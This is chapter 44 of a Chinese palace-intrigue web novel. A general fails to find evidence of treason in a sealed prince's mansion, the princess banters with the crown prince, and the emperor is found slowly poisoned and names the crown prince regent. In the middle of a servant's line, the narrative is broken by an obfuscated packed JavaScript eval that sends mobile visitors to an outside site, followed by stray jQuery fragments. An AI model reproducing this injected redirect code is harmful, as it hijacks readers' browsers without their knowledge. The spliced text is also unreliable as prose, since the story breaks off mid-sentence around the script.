44. 第 44 章

离开周安琳的视线范围后,沈瑜的脚步越来越快,沈一不敢出声,生怕自己惊扰到主子的思绪。


回到将军府后,沈瑜只一句话:“备马!”


沈一哪里不明白他的意思,连忙拿了些干粮放进包袱里,这才到马厩牵来追风。一向安静的马儿像是感受到了空气中的烦躁,被缰绳拴着的头高高昂起,鼻息声也越发大了。


沈瑜右手接过缰绳,沈一却没有第一时间松手:“将军别忘了这个。”他把左手的包袱往前递了递。


沈瑜微微撇眉,像是嫌他碍事,无视包袱,蹬了下马镫就要走。


“将军,您千万要拿着这个啊,保重身体。”沈一依旧不放弃,左手掌心像上,心里还盘算着再牵匹马来,他跟将军一起走。


沈瑜这才低头问了一句:“这什么?”


“干粮啊。”沈一这话说得理直气壮。


“干粮?”


“您不会是想要只身一人回边境吧?太危险了。”沈一有些紧张,生怕被丢下。


“我何时说过要回边境了?”沈瑜额角突突跳,他只是要一匹马而已。


“可是大将军……副将……我们真不回去啊?”沈一话里有些小心翼翼,他还以为将军是想要赶回边境呢。


“不回。你要想跟着就赶紧,不跟我可就走了。”


“我这就来!”沈一生怕对方反悔,跑得别提有多快了,不到一刻钟就把马牵来了。


京城中骑马不能太快,沈一本来也不是什么多嘴的人,可眼见沈瑜越走越偏,他还是忍不住开口:“将军,我们这是去哪儿啊?”


沈瑜倒也没有隐瞒的意思,笑容里带了些揶揄:“难得啊,舍得开口了。我们去齐王府。”


今上对齐王这个弟弟够好了,刚建王府的时候,京城人多地少,今上特地为他建了一个大宅院,说是担心子嗣太多住不下。没想到此人包藏祸心,胆敢用阴招,也是死有余辜了。


“别担心,齐王府已经被封起来了,即便有侍卫看守,打个招呼的事情,估计不会为难我们的。”


沈瑜想得通透,既然副将反叛是受齐王的指使,那这背后勾结西夏之人,自然就有待商榷了。可惜他如今没有证据,还是得到王府里面找一找才行。


“将军,巷子被堵住了。”


齐王府的大门在一条窄巷口,平日里门可罗雀,今日却格外热闹,连巷口都被堵住了。


沈一能看见的,沈瑜自然也发现了,估计中间还发生了什么别的事情。若说是陛下发现了什么指向齐王通敌卖国的证据,也不太像,毕竟这里没有一个是大理寺的人。


奇怪的是,沈瑜发现了工部尚书的身影。


他来干什么?


好巧不巧,工部尚书赵怀也是这么想的。沈瑜这个野小子,上次凶神恶煞的闯进户部尚书府,若不是老李喝多了跟他们诉苦,还不知道有这回事呢。


此次他受命改建公主府,本来他也用不着亲自来,但陛下似乎极为看重长公主,他也就跟过来了。谁能想到会遇上沈瑜啊,真是晦气!


欸,他看过来了!是不是要动手了?他这把老骨头能抗住这一下吗?老沈你到底怎么教的儿子啊!


沈瑜自然没有动手的意思,他只是有些好奇:“赵大人,您这是?”


修建公主府不是什么秘密,赵怀自然不会刻意瞒着他:“改建公主府。”


“我上次来王府有东西落下了,不知能不能行个方便,让我进去找一找。”沈瑜把姿态放低,找的理由也十分蹩脚。


沈一在一旁听得都有些无奈了。


赵怀虽然满头华发,但耳不聋眼不瞎,这明显就是借口吧。他不记得听谁说的了,沈瑜先前还追求过长公主殿下呢。不过如今看来,估计是失败了。


一个追求失败的男人想要进没有修建好的公主府……赵怀越想越不对劲,立马严词拒绝:“毕竟是公主府,不太合适,将军还是问过公主殿下的意见再说吧。得罪了。”


出乎他意料的是,沈瑜脸上没有一丝一毫的恼怒,反而有点高兴?赵怀摇摇头,现在的年轻人啊,他是看不明白了。


沈一倒也能理解,送上门的借口谁不喜欢呢?说不定将军正愁没有理由继续接触殿下呢。这下可好,现成的借口。


可眼下进不去门,就找不到证据,就算是沈一也有些急躁了,关系到内鬼和通敌卖国,自然是越快把人揪出来越好,迟则生变。


他趁沈瑜没上马,偷偷问了一句:“将军,我们真就这么走了?”


沈瑜朝他使个眼色:“晚上。”白日里就算是进去了,也有无数双眼睛盯着,晚上可就方便多了。


不知道是不是周元景藏得太深,又或是沈瑜的方向不对,总之两人找了一晚还是没找着任何蛛丝马迹。


“没办法了,先入宫吧。”沈瑜眼底青黑,说到“入宫”二字,状态才好上一些。沈一觉得自家将军有点像等待遴选的秀女,不过这话他也就敢想想,可不敢当着沈瑜的面说。


宫中,周安琳假模假样拿了本书,早早就准备去东宫拜访,她特意挑了没有早朝的一天,也没有什么别的意思,就是故意折磨周安民。


“殿下,长公主殿下到了。”周安民被太监喊醒时,想杀人的心都有了。他赖在床上不愿意动弹,可周安琳步步紧逼,最后他还是不情不愿地爬了起来。


“我的好妹妹,找兄长有事吗?”周安民露出了一个自认为可怕无比的表情,配上他睡眠不足的脸应该是绝杀!


“你也太邋遢了。”周安琳绕着他上上下下看了一周,明显有些不屑,“你总是这样,怪不得陆大人不愿与你结亲。”


这是什么话?什么邋遢,谁邋遢?周安民说不过她,但还是想要为自己正名:“那是父皇乱点鸳鸯谱,她看不上我,我还看不上她呢。”


“没事,被嫌弃也不用偷偷哭,我愿意把肩膀借给你。”周安琳其实早就打听到陆茵有个竹马,听说他们两情相悦,已经在筹备婚事了,当时右相甘愿回乡,其中说不定还有这样一层原因在。


至于为什么不把这个消息告诉皇兄,当然是为了理直气壮地嘲笑他啦!


“滚啊!”周安民装作要推她的样子,手上的力气却没用多少。


“别这么冷淡嘛,我也是关心……”周安琳还想说些什么,殿外却传来了太监匆忙跪地的声音。


什么情况?两人互相对视一眼,连忙往外跑。


太监看见周安琳,也松了口气:“殿下我


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773392|173022||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


可算找着您了,两位殿下快随我来,出事了!”


周安琳认出对方是父皇新换的大太监,周安民也收起了脸上的笑意,两人马不停蹄地往养心殿赶。


“到底怎么了?”周安民不是个急性子,但这种被蒙在鼓里的感觉可不好受。


大太监倒是嘴严,一直强调到了就知道了。


殿门口跪着十几个太医,周安琳看见这么多人,心里已然有了不好的预感。太医令还在殿内为皇帝诊治,两人却早已没了声响,只是默默等待着结果。


“此毒难解,是西夏的奇毒,在陛下体内已经有些时日了,配着龙涎香使用又会生成另一种慢性毒药,中原还从未有过这种毒。”


皇后听得直皱眉,虽然对方没把话说死,但希望很渺茫啊。她倒是早就领略过帝王的无情,杏宁估计也差不多,可两个孩子毕竟是他的亲骨肉,若是他真的死了……


“务必全力医治。”她这样强调。


“属下明白,陛下马上就能醒,我先开个方子。”


门口的二人这才被放进来,闻着屋里的药味,他们这才见到了真正卧病在床的父皇。


皇后将太医令的诊断又重复了一遍。


周安琳听完才开口问道:“对于下毒时间,您心中可有范围?”


“约莫半个月到一个月之间。”毕竟是慢性毒,即便是太医令出马,下药时间没有办法做到那么精确。


周安琳第一个想到是就是周元景,可他又是如何拿到的西夏奇毒?这件事情,她一时半会还想不清楚。


“咳咳咳——”床上的皇帝咳了好几下,脸上的沟壑也深了些,自己的身体自己清楚,纵然没有听到太医令的诊断,他也能猜到十之八九。


“铭儿、杏宁,过来父皇这里。”短短一句话被他说的断断续续,让人听得格外揪心。


“父皇。”周安民从未见过如此脆弱的父皇,在他心里,父皇永远是刀枪不入的,什么都难不倒他。周安琳还要比兄长小上几岁,她出生时正是太平盛世,只见过父皇操劳,没见过对方生病。


“哭什么?朕不是还能说话吗?”一向不善表达的帝王难得多话,表情越发柔和。


“我会下达圣旨,令太子监国。”


“还有杏宁的封地,咳咳咳,一个都不能少。”


他像是担心没机会说了,想到什么说什么,说得格外详细。


周安民的眼泪跟不要钱似的往下流,他吸了吸鼻子:“父皇你快点好起来吧。”


“不用担心,历练这么久,你能做的很好。”他虚虚拍了拍儿子的肩,看向女儿,“我的小公主怎么哭了?来父皇这里。”


周安琳觉得有点丢脸,但还是乖乖上前。


“先前父皇总催你找驸马,现在我反而担心你找驸马,原本一个人那么自在。”他似是想到什么,“不论如何,只要你在一天就是长公主,我倒要看看谁敢挑战皇权!”


“父皇放心,若是真有这胆大之人,我命人给他五十大板。”周安民连忙表态。


“好好好。”


病号需要休息,他们也没能在里面待多久,回安乐殿的路上,周安琳始终有些闷闷不乐。


直到她见到了殿前那道颀长的身影。